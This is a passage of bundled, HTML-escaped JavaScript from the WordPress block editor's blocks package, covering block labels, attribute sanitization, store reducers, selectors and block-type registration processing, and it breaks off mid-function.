    return iconDescriptor;
  }
  function normalizeBlockType(blockTypeOrName) {
    if (typeof blockTypeOrName === &quot;string&quot;) {
      return getBlockType(blockTypeOrName);
    }
    return blockTypeOrName;
  }
  function getBlockLabel(blockType, attributes, context = &quot;visual&quot;) {
    const { __experimentalLabel: getLabel, title } = blockType;
    const label = getLabel &amp;&amp; getLabel(attributes, { context });
    if (!label) {
      return title;
    }
    if (label.toPlainText) {
      return label.toPlainText();
    }
    return (0, import_dom.__unstableStripHTML)(label);
  }
  function getAccessibleBlockLabel(blockType, attributes, position, direction = &quot;vertical&quot;) {
    const title = blockType?.title ?? &quot;&quot;;
    const label = blockType ? getBlockLabel(blockType, attributes, &quot;accessibility&quot;) : &quot;&quot;;
    const hasPosition = position !== void 0;
    const hasLabel = label &amp;&amp; label !== title;
    if (hasPosition &amp;&amp; direction === &quot;vertical&quot;) {
      if (hasLabel) {
        return (0, import_i18n2.sprintf)(
          /* translators: accessibility text. 1: The block title. 2: The block row number. 3: The block label.. */
          (0, import_i18n2.__)(&quot;%1$s Block. Row %2$d. %3$s&quot;),
          title,
          position,
          label
        );
      }
      return (0, import_i18n2.sprintf)(
        /* translators: accessibility text. 1: The block title. 2: The block row number. */
        (0, import_i18n2.__)(&quot;%1$s Block. Row %2$d&quot;),
        title,
        position
      );
    } else if (hasPosition &amp;&amp; direction === &quot;horizontal&quot;) {
      if (hasLabel) {
        return (0, import_i18n2.sprintf)(
          /* translators: accessibility text. 1: The block title. 2: The block column number. 3: The block label.. */
          (0, import_i18n2.__)(&quot;%1$s Block. Column %2$d. %3$s&quot;),
          title,
          position,
          label
        );
      }
      return (0, import_i18n2.sprintf)(
        /* translators: accessibility text. 1: The block title. 2: The block column number. */
        (0, import_i18n2.__)(&quot;%1$s Block. Column %2$d&quot;),
        title,
        position
      );
    }
    if (hasLabel) {
      return (0, import_i18n2.sprintf)(
        /* translators: accessibility text. 1: The block title. 2: The block label. */
        (0, import_i18n2.__)(&quot;%1$s Block. %2$s&quot;),
        title,
        label
      );
    }
    return (0, import_i18n2.sprintf)(
      /* translators: accessibility text. %s: The block title. */
      (0, import_i18n2.__)(&quot;%s Block&quot;),
      title
    );
  }
  function getDefault(attributeSchema) {
    if (attributeSchema.default !== void 0) {
      return attributeSchema.default;
    }
    if (attributeSchema.type === &quot;rich-text&quot;) {
      return new import_rich_text.RichTextData();
    }
    return void 0;
  }
  function isBlockRegistered(name) {
    return getBlockType(name) !== void 0;
  }
  function sanitizeBlockAttributes(name, attributes) {
    const blockType = getBlockType(name);
    if (void 0 === blockType) {
      throw new Error(`Block type &#039;${name}&#039; is not registered.`);
    }
    return Object.entries(blockType.attributes).reduce(
      (accumulator, [key, schema]) =&gt; {
        const value = attributes[key];
        if (void 0 !== value) {
          if (schema.type === &quot;rich-text&quot;) {
            if (value instanceof import_rich_text.RichTextData) {
              accumulator[key] = value;
            } else if (typeof value === &quot;string&quot;) {
              accumulator[key] = import_rich_text.RichTextData.fromHTMLString(value);
            }
          } else if (schema.type === &quot;string&quot; &amp;&amp; value instanceof import_rich_text.RichTextData) {
            accumulator[key] = value.toHTMLString();
          } else {
            accumulator[key] = value;
          }
        } else {
          const _default = getDefault(schema);
          if (void 0 !== _default) {
            accumulator[key] = _default;
          }
        }
        if ([&quot;node&quot;, &quot;children&quot;].indexOf(schema.source ?? &quot;&quot;) !== -1) {
          if (typeof accumulator[key] === &quot;string&quot;) {
            accumulator[key] = [accumulator[key]];
          } else if (!Array.isArray(accumulator[key])) {
            accumulator[key] = [];
          }
        }
        return accumulator;
      },
      {}
    );
  }
  function __experimentalSanitizeBlockAttributes(name, attributes) {
    (0, import_deprecated.default)(&quot;__experimentalSanitizeBlockAttributes&quot;, {
      since: &quot;7.1&quot;,
      alternative: &quot;sanitizeBlockAttributes&quot;
    });
    return sanitizeBlockAttributes(name, attributes);
  }
  function getBlockAttributesNamesByRole(name, role) {
    const attributes = getBlockType(name)?.attributes;
    if (!attributes) {
      return [];
    }
    const attributesNames = Object.keys(attributes);
    if (!role) {
      return attributesNames;
    }
    return attributesNames.filter((attributeName) =&gt; {
      const attribute = attributes[attributeName];
      if (attribute?.role === role) {
        return true;
      }
      if (attribute?.__experimentalRole === role) {
        (0, import_deprecated.default)(&quot;__experimentalRole attribute&quot;, {
          since: &quot;6.7&quot;,
          version: &quot;6.8&quot;,
          alternative: &quot;role attribute&quot;,
          hint: `Check the block.json of the ${name} block.`
        });
        return true;
      }
      return false;
    });
  }
  var __experimentalGetBlockAttributesNamesByRole = (...args) =&gt; {
    (0, import_deprecated.default)(&quot;__experimentalGetBlockAttributesNamesByRole&quot;, {
      since: &quot;6.7&quot;,
      version: &quot;6.8&quot;,
      alternative: &quot;getBlockAttributesNamesByRole&quot;
    });
    return getBlockAttributesNamesByRole(...args);
  };
  function isContentBlock(name) {
    const blockType = getBlockType(name);
    const attributes = blockType?.attributes;
    const supportsContentRole = blockType?.supports?.contentRole;
    if (supportsContentRole) {
      return true;
    }
    if (!attributes) {
      return false;
    }
    return !!Object.keys(attributes)?.some((attributeKey) =&gt; {
      const attribute = attributes[attributeKey];
      return attribute?.role === &quot;content&quot; || attribute?.__experimentalRole === &quot;content&quot;;
    });
  }
  function omit(object, keys) {
    const keysArray = Array.isArray(keys) ? keys : [keys];
    return Object.fromEntries(
      Object.entries(object).filter(
        ([key]) =&gt; !keysArray.includes(key)
      )
    );
  }

  // packages/blocks/build-module/store/reducer.mjs
  var DEFAULT_CATEGORIES = [
    { slug: &quot;text&quot;, title: (0, import_i18n3.__)(&quot;Text&quot;) },
    { slug: &quot;media&quot;, title: (0, import_i18n3.__)(&quot;Media&quot;) },
    { slug: &quot;design&quot;, title: (0, import_i18n3.__)(&quot;Design&quot;) },
    { slug: &quot;widgets&quot;, title: (0, import_i18n3.__)(&quot;Widgets&quot;) },
    { slug: &quot;theme&quot;, title: (0, import_i18n3.__)(&quot;Theme&quot;) },
    { slug: &quot;embed&quot;, title: (0, import_i18n3.__)(&quot;Embeds&quot;) },
    { slug: &quot;reusable&quot;, title: (0, import_i18n3.__)(&quot;Reusable blocks&quot;) }
  ];
  function keyBlockTypesByName(types) {
    return types.reduce(
      (newBlockTypes, block) =&gt; ({
        ...newBlockTypes,
        [block.name]: block
      }),
      {}
    );
  }
  function getUniqueItemsByName(items) {
    return items.reduce((acc, currentItem) =&gt; {
      if (!acc.some((item) =&gt; item.name === currentItem.name)) {
        acc.push(currentItem);
      }
      return acc;
    }, []);
  }
  function bootstrappedBlockTypes(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_BOOTSTRAPPED_BLOCK_TYPE&quot;:
        const { name, blockType } = action;
        const serverDefinition = state[name];
        if (serverDefinition) {
          return state;
        }
        const newDefinition = Object.fromEntries(
          Object.entries(blockType).filter(
            ([, value]) =&gt; value !== null &amp;&amp; value !== void 0
          ).map(([key, value]) =&gt; [camelCase(key), value])
        );
        newDefinition.name = name;
        return {
          ...state,
          [name]: newDefinition
        };
      case &quot;REMOVE_BLOCK_TYPES&quot;:
        return omit(state, action.names);
    }
    return state;
  }
  function unprocessedBlockTypes(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_UNPROCESSED_BLOCK_TYPE&quot;:
        return {
          ...state,
          [action.name]: action.blockType
        };
      case &quot;REMOVE_BLOCK_TYPES&quot;:
        return omit(state, action.names);
    }
    return state;
  }
  function blockTypes(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_BLOCK_TYPES&quot;:
        return {
          ...state,
          ...keyBlockTypesByName(action.blockTypes)
        };
      case &quot;REMOVE_BLOCK_TYPES&quot;:
        return omit(state, action.names);
    }
    return state;
  }
  function blockStyles(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_BLOCK_TYPES&quot;:
        return {
          ...state,
          ...Object.fromEntries(
            Object.entries(
              keyBlockTypesByName(action.blockTypes)
            ).map(([name, blockType]) =&gt; [
              name,
              getUniqueItemsByName([
                ...(blockType.styles ?? []).map((style) =&gt; ({
                  ...style,
                  source: &quot;block&quot;
                })),
                ...(state[blockType.name] ?? []).filter(
                  ({ source }) =&gt; &quot;block&quot; !== source
                )
              ])
            ])
          )
        };
      case &quot;ADD_BLOCK_STYLES&quot;:
        const updatedStyles = {};
        action.blockNames.forEach((blockName) =&gt; {
          updatedStyles[blockName] = getUniqueItemsByName([
            ...state[blockName] ?? [],
            ...action.styles
          ]);
        });
        return { ...state, ...updatedStyles };
      case &quot;REMOVE_BLOCK_STYLES&quot;:
        return {
          ...state,
          [action.blockName]: (state[action.blockName] ?? []).filter(
            (style) =&gt; action.styleNames.indexOf(style.name) === -1
          )
        };
    }
    return state;
  }
  function blockVariations(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_BLOCK_TYPES&quot;:
        return {
          ...state,
          ...Object.fromEntries(
            Object.entries(
              keyBlockTypesByName(action.blockTypes)
            ).map(([name, blockType]) =&gt; {
              return [
                name,
                getUniqueItemsByName([
                  ...(blockType.variations ?? []).map(
                    (variation) =&gt; ({
                      ...variation,
                      source: &quot;block&quot;
                    })
                  ),
                  ...(state[blockType.name] ?? []).filter(
                    ({ source }) =&gt; &quot;block&quot; !== source
                  )
                ])
              ];
            })
          )
        };
      case &quot;ADD_BLOCK_VARIATIONS&quot;:
        return {
          ...state,
          [action.blockName]: getUniqueItemsByName([
            ...state[action.blockName] ?? [],
            ...action.variations
          ])
        };
      case &quot;REMOVE_BLOCK_VARIATIONS&quot;:
        return {
          ...state,
          [action.blockName]: (state[action.blockName] ?? []).filter(
            (variation) =&gt; action.variationNames.indexOf(variation.name) === -1
          )
        };
    }
    return state;
  }
  function createBlockNameSetterReducer(setActionType) {
    return (state = null, action) =&gt; {
      switch (action.type) {
        case &quot;REMOVE_BLOCK_TYPES&quot;:
          if (action.names.indexOf(state) !== -1) {
            return null;
          }
          return state;
        case setActionType:
          return action.name || null;
      }
      return state;
    };
  }
  var defaultBlockName = createBlockNameSetterReducer(
    &quot;SET_DEFAULT_BLOCK_NAME&quot;
  );
  var freeformFallbackBlockName = createBlockNameSetterReducer(
    &quot;SET_FREEFORM_FALLBACK_BLOCK_NAME&quot;
  );
  var unregisteredFallbackBlockName = createBlockNameSetterReducer(
    &quot;SET_UNREGISTERED_FALLBACK_BLOCK_NAME&quot;
  );
  var groupingBlockName = createBlockNameSetterReducer(
    &quot;SET_GROUPING_BLOCK_NAME&quot;
  );
  function categories(state = DEFAULT_CATEGORIES, action) {
    switch (action.type) {
      case &quot;SET_CATEGORIES&quot;:
        const uniqueCategories = /* @__PURE__ */ new Map();
        (action.categories || []).forEach((category) =&gt; {
          uniqueCategories.set(category.slug, category);
        });
        return [...uniqueCategories.values()];
      case &quot;UPDATE_CATEGORY&quot;: {
        if (!action.category || !Object.keys(action.category).length) {
          return state;
        }
        const categoryToChange = state.find(
          ({ slug }) =&gt; slug === action.slug
        );
        if (categoryToChange) {
          return state.map((category) =&gt; {
            if (category.slug === action.slug) {
              return {
                ...category,
                ...action.category
              };
            }
            return category;
          });
        }
      }
    }
    return state;
  }
  function collections(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_BLOCK_COLLECTION&quot;:
        return {
          ...state,
          [action.namespace]: {
            title: action.title,
            icon: action.icon
          }
        };
      case &quot;REMOVE_BLOCK_COLLECTION&quot;:
        return omit(state, action.namespace);
    }
    return state;
  }
  function getMergedUsesContext(existingUsesContext = [], newUsesContext = []) {
    const mergedArrays = Array.from(
      new Set(existingUsesContext.concat(newUsesContext))
    );
    return mergedArrays.length &gt; 0 ? mergedArrays : void 0;
  }
  function blockBindingsSources(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_BLOCK_BINDINGS_SOURCE&quot;:
        return {
          ...state,
          [action.name]: {
            label: action.label || state[action.name]?.label,
            usesContext: getMergedUsesContext(
              state[action.name]?.usesContext,
              action.usesContext
            ),
            getValues: action.getValues,
            setValues: action.setValues,
            // Only set `canUserEditValue` if `setValues` is also defined.
            canUserEditValue: action.setValues &amp;&amp; action.canUserEditValue,
            getFieldsList: action.getFieldsList
          }
        };
      case &quot;REMOVE_BLOCK_BINDINGS_SOURCE&quot;:
        return omit(state, action.name);
    }
    return state;
  }
  var reducer_default = (0, import_data2.combineReducers)({
    bootstrappedBlockTypes,
    unprocessedBlockTypes,
    blockTypes,
    blockStyles,
    blockVariations,
    defaultBlockName,
    freeformFallbackBlockName,
    unregisteredFallbackBlockName,
    groupingBlockName,
    categories,
    collections,
    blockBindingsSources
  });

  // packages/blocks/build-module/store/selectors.mjs
  var selectors_exports = {};
  __export(selectors_exports, {
    __experimentalHasContentRoleAttribute: () =&gt; __experimentalHasContentRoleAttribute,
    getActiveBlockVariation: () =&gt; getActiveBlockVariation,
    getBlockStyles: () =&gt; getBlockStyles,
    getBlockSupport: () =&gt; getBlockSupport2,
    getBlockType: () =&gt; getBlockType2,
    getBlockTypes: () =&gt; getBlockTypes2,
    getBlockVariations: () =&gt; getBlockVariations2,
    getCategories: () =&gt; getCategories,
    getChildBlockNames: () =&gt; getChildBlockNames2,
    getCollections: () =&gt; getCollections,
    getDefaultBlockName: () =&gt; getDefaultBlockName2,
    getDefaultBlockVariation: () =&gt; getDefaultBlockVariation,
    getFreeformFallbackBlockName: () =&gt; getFreeformFallbackBlockName,
    getGroupingBlockName: () =&gt; getGroupingBlockName2,
    getUnregisteredFallbackBlockName: () =&gt; getUnregisteredFallbackBlockName,
    hasBlockSupport: () =&gt; hasBlockSupport2,
    hasChildBlocks: () =&gt; hasChildBlocks2,
    hasChildBlocksWithInserterSupport: () =&gt; hasChildBlocksWithInserterSupport2,
    isMatchingSearchTerm: () =&gt; isMatchingSearchTerm
  });
  var import_remove_accents = __toESM(require_remove_accents(), 1);
  var import_es6 = __toESM(require_es6(), 1);
  var import_data4 = __toESM(require_data(), 1);
  var import_rich_text2 = __toESM(require_rich_text(), 1);
  var import_deprecated3 = __toESM(require_deprecated(), 1);

  // packages/blocks/build-module/store/utils.mjs
  var getValueFromObjectPath = (object, path, defaultValue) =&gt; {
    const normalizedPath = Array.isArray(path) ? path : path.split(&quot;.&quot;);
    let value = object;
    normalizedPath.forEach((fieldName) =&gt; {
      value = value?.[fieldName];
    });
    return value ?? defaultValue;
  };
  function isObject2(candidate) {
    return typeof candidate === &quot;object&quot; &amp;&amp; candidate !== null &amp;&amp; candidate.constructor === Object;
  }
  function matchesAttributes(blockAttributes, variationAttributes) {
    if (isObject2(blockAttributes) &amp;&amp; isObject2(variationAttributes)) {
      return Object.entries(variationAttributes).every(
        ([key, value]) =&gt; matchesAttributes(blockAttributes?.[key], value)
      );
    }
    return blockAttributes === variationAttributes;
  }

  // packages/blocks/build-module/store/private-selectors.mjs
  var private_selectors_exports = {};
  __export(private_selectors_exports, {
    getAllBlockBindingsSources: () =&gt; getAllBlockBindingsSources,
    getBlockBindingsSource: () =&gt; getBlockBindingsSource2,
    getBlockBindingsSourceFieldsList: () =&gt; getBlockBindingsSourceFieldsList,
    getBootstrappedBlockType: () =&gt; getBootstrappedBlockType,
    getSupportedStyles: () =&gt; getSupportedStyles,
    getUnprocessedBlockTypes: () =&gt; getUnprocessedBlockTypes,
    hasContentRoleAttribute: () =&gt; hasContentRoleAttribute
  });
  var import_data3 = __toESM(require_data(), 1);
  var import_deprecated2 = __toESM(require_deprecated(), 1);
  var ROOT_BLOCK_SUPPORTS = [
    &quot;background&quot;,
    &quot;backgroundColor&quot;,
    &quot;color&quot;,
    &quot;linkColor&quot;,
    &quot;captionColor&quot;,
    &quot;buttonColor&quot;,
    &quot;headingColor&quot;,
    &quot;fontFamily&quot;,
    &quot;fontSize&quot;,
    &quot;fontStyle&quot;,
    &quot;fontWeight&quot;,
    &quot;lineHeight&quot;,
    &quot;padding&quot;,
    &quot;contentSize&quot;,
    &quot;wideSize&quot;,
    &quot;blockGap&quot;,
    &quot;textAlign&quot;,
    &quot;textDecoration&quot;,
    &quot;textIndent&quot;,
    &quot;textTransform&quot;,
    &quot;letterSpacing&quot;
  ];
  function filterElementBlockSupports(blockSupports, name, element) {
    return blockSupports.filter((support) =&gt; {
      if (support === &quot;fontSize&quot; &amp;&amp; element === &quot;heading&quot;) {
        return false;
      }
      if (support === &quot;textDecoration&quot; &amp;&amp; !name &amp;&amp; element !== &quot;link&quot;) {
        return false;
      }
      if (support === &quot;textTransform&quot; &amp;&amp; !name &amp;&amp; !([&quot;heading&quot;, &quot;h1&quot;, &quot;h2&quot;, &quot;h3&quot;, &quot;h4&quot;, &quot;h5&quot;, &quot;h6&quot;].includes(
        element
      ) || element === &quot;button&quot; || element === &quot;caption&quot; || element === &quot;text&quot;)) {
        return false;
      }
      if (support === &quot;letterSpacing&quot; &amp;&amp; !name &amp;&amp; !([&quot;heading&quot;, &quot;h1&quot;, &quot;h2&quot;, &quot;h3&quot;, &quot;h4&quot;, &quot;h5&quot;, &quot;h6&quot;].includes(
        element
      ) || element === &quot;button&quot; || element === &quot;caption&quot; || element === &quot;text&quot;)) {
        return false;
      }
      if (support === &quot;textIndent&quot; &amp;&amp; !name) {
        return false;
      }
      if (support === &quot;textColumns&quot; &amp;&amp; !name) {
        return false;
      }
      return true;
    });
  }
  var getSupportedStyles = (0, import_data3.createSelector)(
    (state, name, element) =&gt; {
      if (!name) {
        return filterElementBlockSupports(
          ROOT_BLOCK_SUPPORTS,
          name,
          element
        );
      }
      const blockType = getBlockType2(state, name);
      if (!blockType) {
        return [];
      }
      const supportKeys = [];
      const supports = blockType?.supports;
      if (supports?.spacing?.blockGap) {
        supportKeys.push(&quot;blockGap&quot;);
      }
      if (supports?.shadow) {
        supportKeys.push(&quot;shadow&quot;);
      }
      const stylePropertyMap = __EXPERIMENTAL_STYLE_PROPERTY;
      Object.keys(stylePropertyMap).forEach((styleName) =&gt; {
        if (!stylePropertyMap[styleName].support) {
          return;
        }
        if (stylePropertyMap[styleName].requiresOptOut) {
          if (supports &amp;&amp; stylePropertyMap[styleName].support[0] in supports &amp;&amp; getValueFromObjectPath(
            supports,
            stylePropertyMap[styleName].support
          ) !== false) {
            supportKeys.push(styleName);
            return;
          }
        }
        if (supports &amp;&amp; getValueFromObjectPath(
          supports,
          stylePropertyMap[styleName].support,
          false
        )) {
          supportKeys.push(styleName);
        }
      });
      return filterElementBlockSupports(supportKeys, name, element);
    },
    (state, name) =&gt; [
      state.blockTypes[name]
    ]
  );
  function getBootstrappedBlockType(state, name) {
    return state.bootstrappedBlockTypes[name];
  }
  function getUnprocessedBlockTypes(state) {
    return state.unprocessedBlockTypes;
  }
  function getAllBlockBindingsSources(state) {
    return state.blockBindingsSources;
  }
  function getBlockBindingsSource2(state, sourceName) {
    return state.blockBindingsSources[sourceName];
  }
  var getBlockBindingsSourceFieldsList = (0, import_data3.createRegistrySelector)(
    (select3) =&gt; (0, import_data3.createSelector)(
      (state, source, blockContext) =&gt; {
        if (!source.getFieldsList) {
          return [];
        }
        const context = {};
        if (source?.usesContext?.length) {
          for (const key of source.usesContext) {
            context[key] = blockContext[key];
          }
        }
        return source.getFieldsList({ select: select3, context });
      },
      (state, source, blockContext) =&gt; [source.getFieldsList, source.usesContext, blockContext]
    )
  );
  var hasContentRoleAttribute = (state, blockTypeName) =&gt; {
    const blockType = getBlockType2(state, blockTypeName);
    if (!blockType) {
      return false;
    }
    return Object.values(blockType.attributes).some(
      ({ role, __experimentalRole }) =&gt; {
        if (role === &quot;content&quot;) {
          return true;
        }
        if (__experimentalRole === &quot;content&quot;) {
          (0, import_deprecated2.default)(&quot;__experimentalRole attribute&quot;, {
            since: &quot;6.7&quot;,
            version: &quot;6.8&quot;,
            alternative: &quot;role attribute&quot;,
            hint: `Check the block.json of the ${blockTypeName} block.`
          });
          return true;
        }
        return false;
      }
    );
  };

  // packages/blocks/build-module/store/selectors.mjs
  var getNormalizedBlockType = (state, nameOrType) =&gt; &quot;string&quot; === typeof nameOrType ? getBlockType2(state, nameOrType) : nameOrType;
  var getBlockTypes2 = (0, import_data4.createSelector)(
    (state) =&gt; Object.values(state.blockTypes),
    (state) =&gt; [state.blockTypes]
  );
  function getBlockType2(state, name) {
    return state.blockTypes[name];
  }
  function getBlockStyles(state, name) {
    return state.blockStyles[name];
  }
  var getBlockVariations2 = (0, import_data4.createSelector)(
    (state, blockName, scope) =&gt; {
      const variations = state.blockVariations[blockName];
      if (!variations || !scope) {
        return variations;
      }
      return variations.filter((variation) =&gt; {
        return (variation.scope || [&quot;block&quot;, &quot;inserter&quot;]).includes(
          scope
        );
      });
    },
    (state, blockName) =&gt; [
      state.blockVariations[blockName]
    ]
  );
  function getActiveBlockVariation(state, blockName, attributes, scope, innerContent) {
    const variations = getBlockVariations2(state, blockName, scope);
    if (!variations) {
      return variations;
    }
    if (innerContent) {
      const innerContentMatch = variations.find(
        (variation) =&gt; variation.innerContent &amp;&amp; (0, import_es6.default)(variation.innerContent, innerContent)
      );
      if (innerContentMatch) {
        return innerContentMatch;
      }
    }
    const blockType = getBlockType2(state, blockName);
    const attributeKeys = Object.keys(blockType?.attributes || {});
    let match;
    let maxMatchedAttributes = 0;
    for (const variation of variations) {
      if (variation.innerContent) {
        continue;
      }
      if (Array.isArray(variation.isActive)) {
        const definedAttributes = variation.isActive.filter(
          (attribute) =&gt; {
            const topLevelAttribute = attribute.split(&quot;.&quot;)[0];
            return attributeKeys.includes(topLevelAttribute);
          }
        );
        const definedAttributesLength = definedAttributes.length;
        if (definedAttributesLength === 0) {
          continue;
        }
        const isMatch = definedAttributes.every((attribute) =&gt; {
          const variationAttributeValue = getValueFromObjectPath(
            variation.attributes,
            attribute
          );
          if (variationAttributeValue === void 0) {
            return false;
          }
          let blockAttributeValue = getValueFromObjectPath(
            attributes,
            attribute
          );
          if (blockAttributeValue instanceof import_rich_text2.RichTextData) {
            blockAttributeValue = blockAttributeValue.toHTMLString();
          }
          return matchesAttributes(
            blockAttributeValue,
            variationAttributeValue
          );
        });
        if (isMatch &amp;&amp; definedAttributesLength &gt; maxMatchedAttributes) {
          match = variation;
          maxMatchedAttributes = definedAttributesLength;
        }
      } else if (variation.isActive?.(
        attributes,
        variation.attributes
      )) {
        return match || variation;
      }
    }
    if (!match &amp;&amp; [&quot;block&quot;, &quot;transform&quot;].includes(scope)) {
      match = variations.find(
        (variation) =&gt; variation?.isDefault &amp;&amp; !Object.hasOwn(variation, &quot;isActive&quot;)
      );
    }
    return match;
  }
  function getDefaultBlockVariation(state, blockName, scope) {
    const variations = getBlockVariations2(state, blockName, scope);
    const defaultVariation = [...variations || []].reverse().find(({ isDefault }) =&gt; !!isDefault);
    return defaultVariation || variations?.[0];
  }
  function getCategories(state) {
    return state.categories;
  }
  function getCollections(state) {
    return state.collections;
  }
  function getDefaultBlockName2(state) {
    return state.defaultBlockName;
  }
  function getFreeformFallbackBlockName(state) {
    return state.freeformFallbackBlockName;
  }
  function getUnregisteredFallbackBlockName(state) {
    return state.unregisteredFallbackBlockName;
  }
  function getGroupingBlockName2(state) {
    return state.groupingBlockName;
  }
  var getChildBlockNames2 = (0, import_data4.createSelector)(
    (state, blockName) =&gt; {
      return getBlockTypes2(state).filter((blockType) =&gt; {
        return blockType.parent?.includes(blockName);
      }).map(({ name }) =&gt; name);
    },
    (state) =&gt; [state.blockTypes]
  );
  var getBlockSupport2 = (state, nameOrType, feature, defaultSupports) =&gt; {
    const blockType = getNormalizedBlockType(state, nameOrType);
    if (!blockType?.supports) {
      return defaultSupports;
    }
    return getValueFromObjectPath(
      blockType.supports,
      feature,
      defaultSupports
    );
  };
  function hasBlockSupport2(state, nameOrType, feature, defaultSupports) {
    return !!getBlockSupport2(state, nameOrType, feature, defaultSupports);
  }
  function getNormalizedSearchTerm(term) {
    return (0, import_remove_accents.default)(term ?? &quot;&quot;).toLowerCase().trim();
  }
  function isMatchingSearchTerm(state, nameOrType, searchTerm = &quot;&quot;) {
    const blockType = getNormalizedBlockType(state, nameOrType);
    const normalizedSearchTerm = getNormalizedSearchTerm(searchTerm);
    const isSearchMatch = (candidate) =&gt; getNormalizedSearchTerm(candidate).includes(normalizedSearchTerm);
    return isSearchMatch(blockType?.title) || blockType?.keywords?.some(isSearchMatch) || isSearchMatch(blockType?.category) || typeof blockType?.description === &quot;string&quot; &amp;&amp; isSearchMatch(blockType.description);
  }
  var hasChildBlocks2 = (state, blockName) =&gt; {
    return getChildBlockNames2(state, blockName).length &gt; 0;
  };
  var hasChildBlocksWithInserterSupport2 = (state, blockName) =&gt; {
    return getChildBlockNames2(state, blockName).some((childBlockName) =&gt; {
      return hasBlockSupport2(state, childBlockName, &quot;inserter&quot;, true);
    });
  };
  var __experimentalHasContentRoleAttribute = (...args) =&gt; {
    (0, import_deprecated3.default)(&quot;__experimentalHasContentRoleAttribute&quot;, {
      since: &quot;6.7&quot;,
      version: &quot;6.8&quot;,
      hint: &quot;This is a private selector.&quot;
    });
    return hasContentRoleAttribute(...args);
  };

  // packages/blocks/build-module/store/actions.mjs
  var actions_exports = {};
  __export(actions_exports, {
    __experimentalReapplyBlockFilters: () =&gt; __experimentalReapplyBlockFilters,
    addBlockCollection: () =&gt; addBlockCollection,
    addBlockStyles: () =&gt; addBlockStyles,
    addBlockTypes: () =&gt; addBlockTypes,
    addBlockVariations: () =&gt; addBlockVariations,
    reapplyBlockTypeFilters: () =&gt; reapplyBlockTypeFilters,
    removeBlockCollection: () =&gt; removeBlockCollection,
    removeBlockStyles: () =&gt; removeBlockStyles,
    removeBlockTypes: () =&gt; removeBlockTypes,
    removeBlockVariations: () =&gt; removeBlockVariations,
    setCategories: () =&gt; setCategories,
    setDefaultBlockName: () =&gt; setDefaultBlockName2,
    setFreeformFallbackBlockName: () =&gt; setFreeformFallbackBlockName,
    setGroupingBlockName: () =&gt; setGroupingBlockName2,
    setUnregisteredFallbackBlockName: () =&gt; setUnregisteredFallbackBlockName,
    updateCategory: () =&gt; updateCategory
  });
  var import_deprecated5 = __toESM(require_deprecated(), 1);

  // node_modules/is-plain-object/dist/is-plain-object.mjs
  function isObject3(o3) {
    return Object.prototype.toString.call(o3) === &quot;[object Object]&quot;;
  }
  function isPlainObject(o3) {
    var ctor, prot;
    if (isObject3(o3) === false) return false;
    ctor = o3.constructor;
    if (ctor === void 0) return true;
    prot = ctor.prototype;
    if (isObject3(prot) === false) return false;
    if (prot.hasOwnProperty(&quot;isPrototypeOf&quot;) === false) {
      return false;
    }
    return true;
  }

  // packages/blocks/build-module/store/process-block-type.mjs
  var import_react_is = __toESM(require_react_is(), 1);
  var import_deprecated4 = __toESM(require_deprecated(), 1);
  var import_hooks = __toESM(require_hooks(), 1);
  var import_warning2 = __toESM(require_warning(), 1);
  var LEGACY_CATEGORY_MAPPING = {
    common: &quot;text&quot;,
    formatting: &quot;text&quot;,
    layout: &quot;design&quot;
  };
  function mergeBlockVariations(bootstrappedVariations = [], clientVariations = []) {
    const result = [...bootstrappedVariations];
    clientVariations.forEach((clientVariation) =&gt; {
      const index = result.findIndex(
        (bootstrappedVariation) =&gt; bootstrappedVariation.name === clientVariation.name
      );
      if (index !== -1) {
        result[index] = { ...result[index], ...clientVariation };
      } else {
        result.push(clientVariation);
      }
    });
    return result;
  }
  var processBlockType = (name, blockSettings) =&gt; ({
    select: select3
  }) =&gt; {
    const bootstrappedBlockType = select3.getBootstrappedBlockType(name);
    const blockType = {
      apiVersion: 1,
      name,
      icon: BLOCK_ICON_DEFAULT,
      keywords: [],
      attributes: {},
      providesContext: {},
      usesContext: [],
      selectors: {},
      supports: {},
      styles: [],
      blockHooks: {},
      save: () =&gt; null,
      ...bootstrappedBlockType,
      ...blockSettings,
      // blockType.variations can be defined as a filePath.
      variations: mergeBlockVariations(
        Array.isArray(bootstrappedBlockType?.variations) ? bootstrappedBlockType.variations : [],
        Array.isArray(blockSettings?.variations) ? blockSettings.variations : []
      )
    };
    if (!blockType.attributes || typeof blockType.attributes !== &quot;object&quot;) {
      (0, import_warning2.default)(
        &#039;The block &quot;&#039; + name + &#039;&quot; is registering attributes as `null` or `undefined`. Use an empty object (`attributes: {}`) or exclude the `attributes` key.&#039;
      );
      blockType.attributes = {};
    }
    const settings = (0, import_hooks.applyFilters)(
      &quot;blocks.registerBlockType&quot;,
      blockType,
      name,
      null
    );
    if (settings.apiVersion &lt;= 2) {
      (0, import_deprecated4.default)(&quot;Block with API version 2 or lower&quot;, {
        since: &quot;6.9&quot;,
        hint: `The block &quot;${name}&quot; is registered with API version ${settings.apiVersion}. This means that the post editor may work as a non-iframe editor. Since all editors are planned to work as iframes in the future, set the \`apiVersion\` field to 3 and test the block inside the iframe editor.`,
        link: &quot;https://developer.wordpress.org/block-editor/reference-guides/block-api/block-api-versions/block-migration-for-iframe-editor-compatibility/&quot;
      });
    }
    if (settings.description &amp;&amp; typeof settings.description !== &quot;string&quot;) {
      (0, import_deprecated4.default)(&quot;Declaring non-string block descriptions&quot;, {
        since: &quot;6.2&quot;
      });
    }
    if (settings.deprecated) {
      settings.deprecated = settings.deprecated.map(
        (deprecation) =&gt; Object.fromEntries(
          Object.entries(
            // Only keep valid deprecation keys.
            (0, import_hooks.applyFilters)(
              &quot;blocks.registerBlockType&quot;,
              // Merge deprecation keys with pre-filter settings
              // so that filters that depend on specific keys being
              // present don&#039;t fail.
              {
                // Omit deprecation keys here so that deprecations
                // can opt out of specific keys like &quot;supports&quot;.
                ...omit(blockType, DEPRECATED_ENTRY_KEYS),
                ...deprecation
              },
              blockType.name,
              deprecation
            )
          ).filter(
            ([key]) =&gt; DEPRECATED_ENTRY_KEYS.includes(key)
          )
        )
      );
    }
    if (!isPlainObject(settings)) {
      (0, import_warning2.default)(&quot;Block settings must be a valid object.&quot;);
      return;
    }
    if (typeof settings.save !== &quot;function&quot;) {
